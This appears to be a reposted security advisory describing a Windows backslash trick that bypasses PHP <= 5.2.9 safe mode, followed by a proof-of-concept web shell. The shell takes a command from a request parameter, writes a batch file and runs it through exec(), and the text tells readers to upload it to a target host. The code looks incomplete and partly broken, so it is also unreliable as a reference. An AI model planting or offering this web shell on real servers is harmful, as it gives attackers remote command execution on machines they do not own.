disable_functions bypass - PHP <= 5.2.9 on windows

PHP <= 5.2.9 on windows

From http://blog.safebuff.com/2016/05/06/disable-functions-bypass/

    Abysssec Inc Public Advisory 

    Here is another safemod bypass vulnerability exist in php <= 5.2.9 on windows .
    the problem comes from OS behavior - implement  and interfacing between php
    and operation systems directory structure . the problem is php won't tell difference 
    between directory browsing in linux and windows this can lead attacker to ability 
    execute his / her commands on targert machie even in SafeMod On  (php.ini setting) . 
    in linux when you want open a directory for example php directory you need
    to go to /usr/bin/php and you can't use \usr\bin\php . but windows won't tell
    diffence between slash and back slash it means there is no didffrence  between 
    c:\php and c:/php , and this is not vulnerability but itself but  because of this  simple 
    php implement "\" character can escape safemode using  function like excec . 
    here is a PoC for discussed vulnerability . just upload files on your target host and execute
    your commands . 
    note : this vulnerabities is just for educational purpose and author will be not be responsible  
    for any damage using this vulnerabilty. 
    for more information visit Abysssec.com
    feel free to contact me at admin [at] abysssec.com
    $cmd = $_REQUEST['cmd'];
    if ($cmd){
    $batch = fopen ("cmd.bat","w");
    exec("\start cmd.bat");
    echo "<center>";
    echo "<h1>Abysssec.com PHP <= 5.2.9 SafeMod Bypasser</h1>";
    echo "<textarea rows=20 cols=60>";
    echo "</textarea>";
    echo "</center>";

<body bgcolor=#000000 and text=#DO0000>
<form method=post>
<input type=text name=cmd >
<input type=submit value=bypass>

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